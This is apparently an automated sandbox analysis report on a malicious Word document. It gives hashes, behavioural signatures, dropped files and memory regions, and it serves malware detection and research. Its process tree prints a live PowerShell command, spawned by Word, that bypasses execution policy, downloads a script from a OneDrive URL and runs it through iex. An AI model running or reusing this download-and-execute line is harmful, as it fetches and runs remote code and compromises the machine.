Analysis

  • max time kernel
    105s
  • max time network
    114s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-05-2024 01:40

General

  • Target

    7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68.doc

  • Size

    70KB

  • MD5

    1812b0ee6924f6188269c65494e580e8

  • SHA1

    fc83f1d3acb53009cbaa7b9df57676274fc561a1

  • SHA256

    7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68

  • SHA512

    5432bbe2f3f54a1ddf8980ad1f34a684d0e7b17bd29cc059c3c20e798dfcab025d68a0b46776630c64b84c062a146e27c2f75f8de57e08f88b1ac8cfed1f8eff

  • SSDEEP

    768:Dpwxw+tCmFeFahP8nmwyd04aCF+Fas0Mxw+tq:DSxrtCmFeFahP81CF+FasZxrt

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -exec bypass -w 1 -c (iwr 'https://onedrive.live.com/download?resid=59261C7E41B6478A%21215&authkey=!AILxsvzlZboP3io' -UseBasicParsing).Content | iex
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:804

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\1E4DD3DD.emf

    Filesize

    2KB

    MD5

    0e9f6533cad992f680e3581ffb00ee3c

    SHA1

    37b2700b0477cf5f85fe052ecf57d157c821633c

    SHA256

    627b83baf6386b68b6e1dcd2a345b228b1bc4bfacbc804753c6bb8df2b588554

    SHA512

    68859981f9b18a0832280145ccb73d69ffe8525783094b3e7a6f4ade4625f452706ebf282b4c945ccf682a82c031ef6bdf061b82fbb8d469dca896a787e26fd9

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gkiqneud.g12.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/804-31-0x0000022DBB3A0000-0x0000022DBB3C2000-memory.dmp

    Filesize

    136KB

  • memory/1520-16-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-6-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-8-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-14-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-11-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-10-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-7-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-13-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-12-0x00007FFF8AE50000-0x00007FFF8AE60000-memory.dmp

    Filesize

    64KB

  • memory/1520-5-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-15-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-19-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-20-0x00007FFF8AE50000-0x00007FFF8AE60000-memory.dmp

    Filesize

    64KB

  • memory/1520-26-0x0000023DAD610000-0x0000023DADE10000-memory.dmp

    Filesize

    8.0MB

  • memory/1520-17-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-0-0x00007FFF8D470000-0x00007FFF8D480000-memory.dmp

    Filesize

    64KB

  • memory/1520-9-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-1-0x00007FFF8D470000-0x00007FFF8D480000-memory.dmp

    Filesize

    64KB

  • memory/1520-18-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-27-0x0000023DAD610000-0x0000023DADE10000-memory.dmp

    Filesize

    8.0MB

  • memory/1520-28-0x0000023DAD610000-0x0000023DADE10000-memory.dmp

    Filesize

    8.0MB

  • memory/1520-4-0x00007FFF8D470000-0x00007FFF8D480000-memory.dmp

    Filesize

    64KB

  • memory/1520-3-0x00007FFF8D470000-0x00007FFF8D480000-memory.dmp

    Filesize

    64KB

  • memory/1520-2-0x00007FFF8D470000-0x00007FFF8D480000-memory.dmp

    Filesize

    64KB

  • memory/1520-57-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-58-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1520-59-0x0000023DAD610000-0x0000023DADE10000-memory.dmp

    Filesize

    8.0MB

  • memory/1520-60-0x0000023DAD610000-0x0000023DADE10000-memory.dmp

    Filesize

    8.0MB

  • memory/1520-81-0x00007FFF8D470000-0x00007FFF8D480000-memory.dmp

    Filesize

    64KB

  • memory/1520-82-0x00007FFF8D470000-0x00007FFF8D480000-memory.dmp

    Filesize

    64KB

  • memory/1520-83-0x00007FFF8D470000-0x00007FFF8D480000-memory.dmp

    Filesize

    64KB

  • memory/1520-80-0x00007FFF8D470000-0x00007FFF8D480000-memory.dmp

    Filesize

    64KB

  • memory/1520-84-0x00007FFFCD3F0000-0x00007FFFCD5E5000-memory.dmp

    Filesize

    2.0MB